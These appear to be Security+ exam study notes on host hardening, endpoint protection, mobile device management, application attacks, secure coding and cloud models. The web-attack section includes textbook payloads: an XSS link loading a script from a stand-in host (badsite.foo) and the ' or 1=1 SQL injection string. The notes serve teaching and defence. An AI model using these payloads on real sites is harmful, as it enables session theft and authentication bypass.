L1 Week 4: Host Security, Mobile Solutions, Secure Application Concepts, and Cloud Security

Playlist: Security+ 30-42

---

1. Hardening

Hardening is the process of configuring an OS or application into a secure state. Every feature or service left enabled is a potential attack surface — hardening systematically reduces that surface to the minimum required for the system’s intended function.

The key constraint: hardening must be balanced against usability. Locking down a workstation to server-level security may break legitimate workflows. The intended role of the system always drives the hardening baseline.

---

2. Patch Management

No software is free of vulnerabilities. The moment a CVE is published, two races start simultaneously: the vendor racing to patch it, and the attacker racing to exploit it. Patch management is the discipline that ensures the vendor wins.

Small/residential networks: hosts are configured for auto-update. This is simple but creates problems at scale — multiple update agents (OS, browser, Java, OEM drivers, AV) running concurrently on the same host cause performance issues and management overhead.

Enterprise networks: use a centralized patch management suite such as Microsoft SCCM (System Center Configuration Manager) to:

• Inventory missing patches across the environment using automated vulnerability scanners
• Test patches before deployment
• Push patches on a controlled schedule
• Report compliance status

Scanning for missing patches is useless without the operational procedures to actually apply them. Detection without remediation is just a list of known weaknesses.

---

3. Endpoint Protection

3.1 Antivirus / Anti-Malware

Antivirus (A-V) originated as signature-based detection of known viruses. Modern A-V products have expanded scope — they detect viruses, worms, Trojans, spyware, PUPs (potentially unwanted programs), and cryptojackers. The term “anti-malware” is more accurate for current products.

Critical limitation: signature-based detection cannot catch what it has no signature for. Zero-days, novel malware variants, and fileless attacks bypass A-V entirely. Signature-based detection alone is insufficient to prevent data breaches — it must be layered with behavioral controls.

3.2 Host-Based IDS / IPS (HIDS / HIPS)

HIDS detects threats via log monitoring and file system integrity monitoring. It checks whether managed file images — OS system files, drivers, application executables — have changed from a known-good baseline using cryptographic signatures.

HIDS products may also monitor:

• Active ports and network interfaces
• Process execution data
• Logs from specific applications (HTTP, FTP, etc.)

HIPS is the preventive variant — it takes automated action (block, terminate) rather than just alerting.

3.3 Endpoint Protection Platform (EPP)

Running separate agents for A-V, HIDS, host firewall, and web filtering creates compounding problems: performance degradation, agent conflicts, false positives, and increased support burden.

An EPP consolidates all endpoint security functions into a single agent:

EPP Function	Description
Malware detection/prevention	A-V + behavioral analysis
Intrusion detection/prevention	HIDS/HIPS
Host firewall	Local traffic filtering
Web content filtering	Secure search and browsing enforcement
File/message encryption	Data-at-rest and in-transit protection
DLP	Data loss prevention (see below)

3.4 Data Loss Prevention (DLP)

A DLP agent (commonly bundled in EPPs) is configured with policies that define what data is sensitive — credit card numbers, PII, classified document patterns, etc. The agent enforces these policies by:

• Preventing sensitive data from being copied to removable media
• Blocking unauthorized email attachments containing sensitive content
• Alerting on or blocking uploads of tagged files

DLP operates on content inspection, not just file type or destination.

---

4. Mobile Device Deployment Models

Mobile devices are now primary endpoints for email, calendaring, and cloud application access. How an organization provisions and owns those devices directly determines the attack surface and the organization’s ability to enforce security controls.

Model	Ownership	Typical Use	Security Control Level
BYOD (Bring Your Own Device)	Employee	Personal device used for work	Lowest — employee may resist MDM enrollment
COBO (Corporate Owned, Business Only)	Company	Work use only; no personal apps	Highest — full control
COPE (Corporate Owned, Personally-Enabled)	Company	Work device; personal use permitted under AUP	High — device is corporate property
CYOD (Choose Your Own Device)	Company	Employee selects from an approved list	High — same as COPE, wider device choice

Exam tip: BYOD is the most popular model with employees and the hardest to secure. COBO gives the tightest control but lowest employee satisfaction. Know the tradeoff for each.

---

5. Enterprise Mobility Management (EMM)

EMM is the management framework that applies security policy to mobile devices and applications at scale. It has two main functional pillars:

Component	Full Name	Scope	Key Capabilities
MDM	Mobile Device Management	The device itself	Authentication policy, feature restrictions (camera, mic), connectivity enforcement, remote wipe, device reset
MAM	Mobile Application Management	Applications and data	App allowlist/blocklist, prevent data transfer between corporate and personal apps, enterprise container/workspace isolation

MDM handles the hardware layer; MAM handles the data layer. Together they implement the enforcement boundary between corporate and personal data on the same device.

---

6. Mobile Access Control

If a threat actor gains physical access to a smartphone, they inherit access to email, credentials stored in apps, authenticator tokens, and potentially VPN sessions.

Screen lock authentication options:

• Password / PIN
• Swipe pattern
• Biometrics: fingerprint (most common), facial recognition, voice recognition

Lockout policy: escalating lockout after repeated failed attempts deters brute-force. Example: 1st failure → 30 seconds; 3rd failure → 10 minutes; N failures → device wipe.

---

7. Remote Wipe

A remote wipe (kill switch) allows an administrator or the device owner to trigger a factory reset or data sanitization remotely — over the air — if the device is stolen or lost.

Trigger sources:

• N consecutive incorrect passcode attempts
• MDM/EMM administrator action
• Owner-initiated via device management portal

Additional capabilities some platforms support:

• Back up device data to a server before wiping
• Display a “Lost/stolen — return to [contact]” message on the lock screen
• Wipe removable/plug-in memory cards

Limitation: a sophisticated attacker can prevent a remote wipe by isolating the device from all networks before hacking it. Remote wipe is a control, not a guarantee — encryption provides the underlying protection when wipe is not possible.

---

8. Full Device Encryption

Modern mobile OSes encrypt storage by default. iOS implements encryption in layers:

Layer	Key Source	What It Protects	Primary Purpose
Base encryption	Key stored on device	All user data	Fast wipe — delete the key, data becomes inaccessible without overwriting every block
Data Protection	Key derived from user credential	Email, apps opted in to Data Protection	Protects data if device is stolen and passcode is unknown

Note: not all iOS data uses Data Protection. Contacts, SMS messages, and photos are excluded by default.

---

9. Location Services

Geolocation identifies a device’s physical position using one or both of:

System	Mechanism	Use Case
GPS	Satellite signals via GPS sensor	Outdoor positioning; high accuracy
IPS (Indoor Positioning System)	Triangulation from cell towers, Wi-Fi APs, Bluetooth/RFID beacons	Indoor positioning where GPS signal is weak

Location services is available to any app the user has granted permission to — which itself is an attack surface. Malicious apps can silently track location if permissions are not carefully reviewed.

---

10. Rooting and Jailbreaking

Mobile OSes, like desktop OSes, run the owner’s session under a restricted account — not the root/kernel account. Vendors, OEMs, and carriers use this to enforce restrictions on what software can be installed and how the device can be configured. Users who want to bypass these restrictions must escalate privileges.

Technique	Platform	Method	What It Enables
Rooting	Android	Exploit vulnerability or flash custom firmware (custom ROM)	Root account access; install unauthorized apps (sideloading); modify system files
Jailbreaking	iOS	Boot with a patched kernel (typically tethered — requires PC connection on boot)	Root access; sideload apps; change carriers; UI customization
Carrier unlocking	iOS / Android	Remove carrier restrictions	Use device on any carrier

Security implications of rooting/jailbreaking:

• Bypasses OS security model — malware can run with root privileges
• Removes vendor security patches from the standard update path (custom ROMs may lag)
• MDM enrollment and corporate app policies may be circumvented
• Remote wipe may be disabled

Exam tip: jailbreaking is an iOS term; rooting is Android. Both achieve the same outcome — privilege escalation on the device — but the mechanisms differ. Tethered jailbreak = requires a connected PC to boot the patched kernel.

---

11. Application Attack Indicators

Application attacks target vulnerabilities in OS or application software to achieve arbitrary code execution — running attacker-controlled code within the context of a trusted process. The goal is typically a foothold or lateral movement.

Arbitrary code execution: attacker runs their own code on the system. Remote code execution (RCE): the malicious code is delivered from a remote machine.

The simplest observable indicator of an application attack is privilege escalation — a process suddenly operating at a higher privilege level than it was designed to use.

11.1 Error Handling

A crash or unhandled exception is often a signal that an attack was attempted (even if unsuccessful). Dangerous behavior: unhandled exceptions on web apps that expose platform details in the error page — database type, version, stack trace — giving attackers reconnaissance data for the next attempt.

Windows error indicators: “Instruction could not be read or written,” “Undefined exception,” “Process has encountered a problem.”

11.2 Improper Input Handling

Most application attacks work by passing maliciously constructed input to a vulnerable process. Input validation failure is the root cause of two major attack families: overflow attacks and injection attacks.

---

12. Overflow Vulnerabilities

12.1 Buffer Overflow

A buffer is a reserved memory area for expected data. In a buffer overflow, the attacker submits input larger than the buffer can hold, overwriting adjacent memory.

Stack overflow — the most common variant:

Normal Execution:
  Main() Stack
  Main()
  Return Address  ──► back to Main()
  Sub() Stack
  Sub()

Exploit Execution:
  Main() Stack
  Main()
  Return Address  ──► redirected to shellcode
  NOP             ← NOP sled (attacker-controlled)
  NOP
  Shellcode       ← attacker's payload
  NOP
  Sub()

The attacker overfills the Sub() stack buffer, overwrites the return address with a pointer into the NOP sled, and when Sub() returns, execution flows into the shellcode instead of back to Main().

Detection indicators: unexplained crashes or error messages after a file download, execution of a new app/script, or connection of new hardware.

12.2 Memory Leaks and Resource Exhaustion

When a process no longer needs memory, it should release it. A memory leak occurs when it does not — memory is consumed indefinitely and never returned to the OS.

Impact: reduced available memory for other processes; eventual system instability or crash.

Highest severity: memory leaks in background services (run indefinitely) and OS kernel (no containment).

A memory leak may itself be an indicator of a malicious or corrupted process consuming resources intentionally (resource exhaustion as a DoS vector).

---

13. DLL Injection

A DLL (Dynamic Link Library) is a shared binary package implementing standard functionality — networking, cryptography, UI elements. Applications load multiple DLLs during normal operation.

DLL injection abuses OS inter-process attachment functionality to force a legitimate process to load a malicious DLL. The attacker’s code then runs within the context of the trusted process, inheriting its privileges and evading detection.

Why it’s used: migrating malicious code into legitimate processes makes it harder for security tools to attribute the behavior to malware. The malware appears to be normal activity from a trusted process.

Indicators of DLL injection:

• Process opens unexpected network connections
• Legitimate process interacts with files or registry keys it has no reason to touch
• Parent/child process relationships that don’t match the application’s normal behavior

---

14. Web Application Attacks

14.1 URL and HTTP Analysis

A URL encodes both location and action. Attackers weaponize URLs by embedding malicious data in query strings, using percent encoding to obfuscate the payload.

Legitimate:
  http://trusted.foo/upload.php?post=hello

Malicious (percent-encoded payload):
  http://trusted.foo/upload.php?post=%3Cscript%3D%27http%3A%2F%2F...
                                      └── decoded: <script src='http://badsite.foo/hook.js'>

HTTP methods — know these for the exam:

Method	Purpose	Attack Relevance
GET	Retrieve a resource	Parameters exposed in URL; can be logged/cached
POST	Send data for server processing	Form submissions; common injection vector
PUT	Create or replace a resource	Can be abused to upload malicious files if not restricted
DELETE	Remove a resource	Destructive if improperly authorized
HEAD	Retrieve headers only (no body)	Reconnaissance — reveals server info without full response

HTTP response codes — key ones: 200 OK, 301/302 Redirect, 403 Forbidden, 404 Not Found, 500 Internal Server Error.

14.2 Replay Attacks and Session Hijacking

HTTP is stateless — servers maintain session state using tokens (most commonly cookies). A replay attack steals or guesses a valid token and re-submits it to hijack the session.

Cookie types:

Type	Storage	Lifetime	Risk
Non-persistent (session)	Browser memory	Deleted when browser closes	Lower — no persistent storage
Persistent	Browser disk cache	Until expiry or manual deletion	Higher — survives browser restarts

TLS limitation with cookies: TLS encrypts cookies in transit, but they reside in plaintext on the client filesystem unless separately encrypted by the application.

Session hijacking: attacker sniffs session cookies from an unencrypted network (public Wi-Fi) and uses them to impersonate the authenticated user.

Mitigations:

• Encrypt cookies in transit (HTTPS) and at rest (application-level encryption)
• Issue a new cookie on every re-authentication
• Delete cookies server-side when the user logs out
• Set short cookie expiration times

14.3 Cross-Site Scripting (XSS)

XSS exploits the browser’s trust in a site the user has legitimately visited. The attacker injects a malicious script into content served by the trusted site; the victim’s browser executes it with the site’s privileges.

Non-persistent XSS flow:

1. Attacker finds input validation flaw on trusted.foo
2. Attacker crafts a malicious URL embedding a script:
      http://trusted.foo/search?q=<script src="https://badsite.foo/hook.js"></script>
3. Attacker delivers the URL to the victim (phishing email, malicious link)
4. Victim clicks → trusted.foo reflects the script in the response
5. Browser executes the script in the context of trusted.foo

Persistent (stored) XSS: attacker submits malicious script as content (e.g., a forum post). Every user who loads the page executes the script. No crafted URL required — the payload lives in the application’s database.

What XSS can do: steal session cookies, capture form input (keylogging), deface pages, redirect to phishing sites, install malware via drive-by download.

14.4 SQL Injection (SQLi)

Web applications query databases using SQL. If user input is passed directly into a SQL query without sanitization, an attacker can modify the query logic.

Normal query:

SELECT * FROM tbl_user WHERE username = 'Bob'

Injected input: ' or 1=1

Resulting malicious query:

SELECT * FROM tbl_user WHERE username = '' or 1=1

The condition 1=1 is always true — this returns every row in the table, bypassing authentication.

SQLi impact: extract data (SELECT), insert records (INSERT), delete data (DELETE), update records (UPDATE), or execute arbitrary OS commands if the DB account has sufficient privileges.

Reference: OWASP SQL Injection

---

15. Secure Coding Practices

15.1 Input Validation

Every input pathway into an application is a potential attack vector — form fields, URL parameters, HTTP headers, API calls, inter-process data. Input validation is the primary defense against both overflow and injection attacks.

Requirements:

• Document all input methods and reduce the attack surface where possible
• Define what valid input looks like for each field (type, length, format, range)
• Reject anything that does not conform — do not try to sanitize malformed input, reject it
• Validate on the server side — client-side validation is trivially bypassed

15.2 Secure Cookies

Cookie Attribute	What It Does	Why It Matters
Secure	Cookie only sent over HTTPS	Prevents transmission over unencrypted HTTP
HttpOnly	Cookie inaccessible to JavaScript (DOM)	Blocks XSS from stealing the cookie via document.cookie
SameSite	Restricts which origins can send the cookie	Mitigates Cross-Site Request Forgery (CSRF)

Best practices:

• Never use persistent cookies for session authentication — use session cookies
• Issue a fresh cookie on every re-authentication event
• Encrypt cookie content if it contains sensitive data

---

16. Cloud Deployment Models

A cloud deployment model classifies who owns and provisions a cloud service. The model matters for security because it changes the threat and vulnerability profile of the environment.

Model	Ownership	Notes
Public (multi-tenant)	Cloud service provider (CSP)	Offered over the internet on a subscription or pay-as-you-go basis; some tiers offered free. Shared-resource model, so performance and security are shared risks.
Private	The organization itself	Fully dedicated infrastructure, usually managed by one internal business unit for the rest of the organization. Greater control over privacy/security — common in banking and government where strict access control is required.
Community	Shared by several organizations	Multiple orgs pool costs on a hosted-private or fully private cloud to share a common concern such as standardization or compliance policy.

---

17. Cloud Service Models

Cloud services are differentiated by how much of the stack the provider preconfigures for you — infrastructure, platform, or software.

Model	What’s Provided	Examples
IaaS (Infrastructure as a Service)	Raw compute, storage (SAN), and networking rented on-demand instead of purchased outright	AWS EC2, Azure Virtual Machines, Oracle Cloud, OpenStack
PaaS (Platform as a Service)	IaaS plus a managed multi-tier application/database platform (e.g., PHP/MySQL, Oracle, MS SQL) on top	Oracle Database, Azure SQL Database, Google App Engine
SaaS (Software as a Service)	Fully hosted applications, accessed on a pay-as-you-go or lease basis instead of per-seat licensing	Microsoft 365, Salesforce, Google Workspace

Exam tip: think of the three models as a stack — IaaS gives you the least preconfiguration and the most control; SaaS gives you the most preconfiguration and the least control. PaaS sits in between.

---

18. Virtualization and Hypervisor Types

Virtualization lets multiple operating systems run simultaneously on one physical computer. A virtual platform needs three components:

1. Host hardware — the physical platform (possibly multiple hosts networked together)
2. Hypervisor / Virtual Machine Monitor (VMM) — manages the VM environment and mediates access to hardware/network
3. Guest OS / VM / instance — the operating system running inside the virtual environment

18.1 Hypervisor Types

Type	Also Called	Installed On	Examples
Type I	Bare metal	Directly on the hardware — no host OS in between	VMware ESXi, Microsoft Hyper-V, Citrix XEN Server
Type II	Host-based / guest OS	On top of a conventional host OS	VMware Workstation, Oracle VirtualBox, Parallels Workstation

Type I hypervisors manage hardware access directly, giving better performance and a smaller attack surface — the standard choice for production/data-center virtualization. Type II hypervisors depend on (and are constrained by) whatever host OS they run on, which is why they’re common for desktop/lab use rather than production servers.

18.2 Virtual Desktop Infrastructure (VDI) and Thin Clients

VDI provisions corporate desktops as VMs hosted centrally, accessed by low-spec thin clients that boot a minimal local OS and connect to the VM over a remote desktop protocol (Microsoft RDP, Citrix ICA).

• All application processing and data storage happens server-side; the thin client only handles display, audio, and input/output over the network.
• Centralized storage means easier backup, easier support/troubleshooting, and desktops that are easier to “lock down” — any unauthorized change can simply be overwritten by reverting to the template image.
• VDI also makes it easier for a company to fully offload IT infrastructure management to a third party.

18.3 Containers

Container virtualization skips the hypervisor entirely and enforces isolation at the OS level instead. The host OS defines isolated “cells,” each allocated its own CPU and memory, but all containers share the same underlying OS kernel. Docker is the best-known container platform.

	VMs	Containers
Isolation layer	Hypervisor + separate guest OS per VM	Host OS kernel, shared across containers
Overhead	Higher — each VM carries a full guest OS	Lower — no per-instance guest OS
Attack surface consideration	Guest OS compromise is contained to that VM	A kernel-level compromise can potentially affect all containers on the host

Exam tip: VMs virtualize hardware (each guest gets its own OS); containers virtualize the OS (each container shares the host kernel). This is the core security distinction — a container escape is more dangerous than a single VM compromise because the kernel is shared.

---

19. Cloud Security Controls

Cloud environments use the same categories of control as on-premises networks — identity and access management (IAM), endpoint protection for virtual instances, resource policies governing access to data/services, firewalls filtering traffic between hosts, and logging for audit. Most CSPs provide these natively (e.g., Google’s cloud firewall service), configurable via the CSP’s web console, a CLI, or an API.

19.1 Application Security and IAM

Application security in the cloud covers both the secure development process and IAM controls that ensure only authorized identities can use an application. As on-premises, cloud IAM supports user/group creation and role-based privilege management.

19.2 Secrets Management

A cloud service is highly exposed to remote access, so a failure of credential management is one of the most likely things to be exploited. Baseline requirements:

• Never use the CSP root/account-owner identity for day-to-day administrative logons — it should be reserved for account-level actions only.
• Require strong MFA for all interactive logons.
• Use conditional/adaptive authentication to deny, or flag for review, risky sign-in activity (unusual location, impossible travel, new device, etc.).

---

20. High Availability in the Cloud

High availability (HA) is one of the cloud’s core value propositions: resilience against failure at the component, server, local-network, site, data-center, or WAN level.

• The CSP’s virtualization layer ensures compute, storage, and network provisioning meet the availability targets defined in the SLA.
• For storage tiers specifically, “HA” typically means a guarantee of 99.99% uptime or better.
• As with on-prem architecture, the CSP achieves this through redundancy — multiple disk controllers and storage devices pooled together — and by replicating data between pools/groups, each backed by separate underlying hardware, so no single hardware failure takes the whole pool down.

---

21. Quick Review / Exam Cheat Sheet

Host Security Controls

Control	What It Does	Key Detail
Hardening	Reduce attack surface	Balanced against usability and intended role
Patch management	Close known vulnerabilities	Scanning without remediation = known weakness list
A-V / Anti-malware	Detect known malware	Signature-based; blind to zero-days
HIDS	Detect intrusion via logs + file integrity	Monitors system files, ports, process logs
HIPS	HIDS + automated blocking	Active prevention, not just alerting
EPP	Single-agent platform consolidating all of the above	Avoids multi-agent conflicts and performance hit
DLP	Prevent unauthorized data exfiltration	Policy-driven; inspects content, not just metadata

Mobile Deployment Models

BYOD  → employee-owned → most popular, hardest to secure
COBO  → company-owned, work only → tightest control
COPE  → company-owned, personal use allowed → high control + flexibility
CYOD  → employee picks from approved list → like COPE, wider choice

EMM Components

MDM = device-level policy (auth, features, remote wipe)
MAM = app-level policy (corporate container, data transfer restrictions)
EMM = MDM + MAM

Mobile Security Controls

Control	Purpose
Screen lock + lockout policy	Deter passcode brute-force; escalating delays
Remote wipe / kill switch	Sanitize stolen device over the air
Full device encryption	Protect data if device is physically compromised
Data Protection (iOS)	Credential-derived encryption for email and opted-in apps
MDM enrollment	Enforce policy, enable remote management

Rooting vs Jailbreaking

Rooting      → Android → exploit vuln or flash custom ROM → root access
Jailbreaking → iOS     → boot patched kernel (tethered) → root + sideload
Carrier unlock → either → remove carrier lock; not full root

Application Attack Primitives

Arbitrary code execution  → attacker's code runs on target system
Remote code execution     → payload delivered over the network
Privilege escalation      → process runs at higher privilege than designed

Overflow Attack Summary

Type	Mechanism	Target
Buffer overflow	Input exceeds reserved buffer; overwrites adjacent memory	Stack return address → redirect execution
Stack overflow	Specific case: overflow the call stack	Overwrite return address; inject shellcode via NOP sled
Memory leak	Process fails to release memory	Resource exhaustion; potential DoS

DLL Injection Indicators

- Legitimate process opens unexpected network connections
- Process accesses files/registry keys outside its normal scope
- Unusual parent/child process relationships

Web Attack Quick Reference

Attack	Vector	Payload Location	Primary Impact
XSS (non-persistent)	Crafted URL	Reflected in server response	Cookie theft, credential capture
XSS (persistent/stored)	Application content (posts, comments)	Stored in DB, served to all users	Mass cookie/credential theft
SQLi	Input field / URL parameter	Injected into SQL query	DB dump, auth bypass, data manipulation
Session hijacking	Cookie theft (sniffing)	Re-submitted token	Impersonate authenticated user
Replay attack	Token theft or guess	Re-submitted session token	Unauthorized session access

SQL Injection Cheat Sheet

-- Normal:
SELECT * FROM tbl_user WHERE username = 'Bob'

-- Injected (' or 1=1):
SELECT * FROM tbl_user WHERE username = '' or 1=1
-- 1=1 is always TRUE → returns all rows → auth bypass

Secure Cookie Attributes

Secure   → HTTPS only; blocks plaintext transmission
HttpOnly → no JavaScript access; blocks XSS cookie theft
SameSite → restricts cross-origin cookie sending; blocks CSRF

Cloud Deployment Models

Public    → CSP-owned, multi-tenant → shared risk, subscription/PAYG
Private   → org-owned, dedicated → strict control (banking/gov)
Community → shared by several orgs → pooled cost + shared policy concern

Cloud Service Models

IaaS → rent raw compute/storage/network        (EC2, Azure VMs, OpenStack)
PaaS → IaaS + managed app/DB platform            (Azure SQL DB, App Engine)
SaaS → fully hosted application, PAYG            (Microsoft 365, Salesforce)

Hypervisor Types

Type I  (bare metal)   → runs directly on hardware   → ESXi, Hyper-V, XEN
Type II (host-based)   → runs on top of a host OS    → Workstation, VirtualBox, Parallels

VMs vs Containers

VM        → hypervisor + full guest OS per instance → heavier, stronger isolation
Container → shared host OS kernel, isolated cells    → lighter, weaker isolation boundary

Cloud Security Baseline

- Never log in as CSP root for daily admin work
- Enforce MFA on all interactive cloud logons
- Use conditional/adaptive auth for risky sign-ins
- HA storage tier ≈ 99.99%+ uptime guarantee, via redundancy + replication

Must-Know Acronyms

A-V    = Antivirus
EPP    = Endpoint Protection Platform
DLP    = Data Loss Prevention
HIDS   = Host-based Intrusion Detection System
HIPS   = Host-based Intrusion Prevention System
SCCM   = System Center Configuration Manager (Microsoft)
EMM    = Enterprise Mobility Management
MDM    = Mobile Device Management
MAM    = Mobile Application Management
BYOD   = Bring Your Own Device
COBO   = Corporate Owned, Business Only
COPE   = Corporate Owned, Personally-Enabled
CYOD   = Choose Your Own Device
AUP    = Acceptable Use Policy
GPS    = Global Positioning System
IPS    = Indoor Positioning System (context: mobile; not Intrusion Prevention)
ROM    = Read-Only Memory (context: custom ROM = custom Android firmware)
RCE    = Remote Code Execution
ACE    = Arbitrary Code Execution
DLL    = Dynamic Link Library
NOP    = No Operation (CPU instruction; used in NOP sleds for buffer overflow exploits)
URL    = Uniform Resource Locator
HTTP   = Hypertext Transfer Protocol
XSS    = Cross-Site Scripting
SQLi   = SQL Injection
SQL    = Structured Query Language
CSRF   = Cross-Site Request Forgery
DOM    = Document Object Model
PUP    = Potentially Unwanted Program
CVE    = Common Vulnerabilities and Exposures
OWASP  = Open Web Application Security Project
CSP    = Cloud Service Provider
IaaS   = Infrastructure as a Service
PaaS   = Platform as a Service
SaaS   = Software as a Service
VMM    = Virtual Machine Monitor
VM     = Virtual Machine
VDI    = Virtual Desktop Infrastructure
VDE    = Virtual Desktop Environment
IAM    = Identity and Access Management
MFA    = Multifactor Authentication
HA     = High Availability
SLA    = Service Level Agreement
SAN    = Storage Area Network
CLI    = Command Line Interface
API    = Application Programming Interface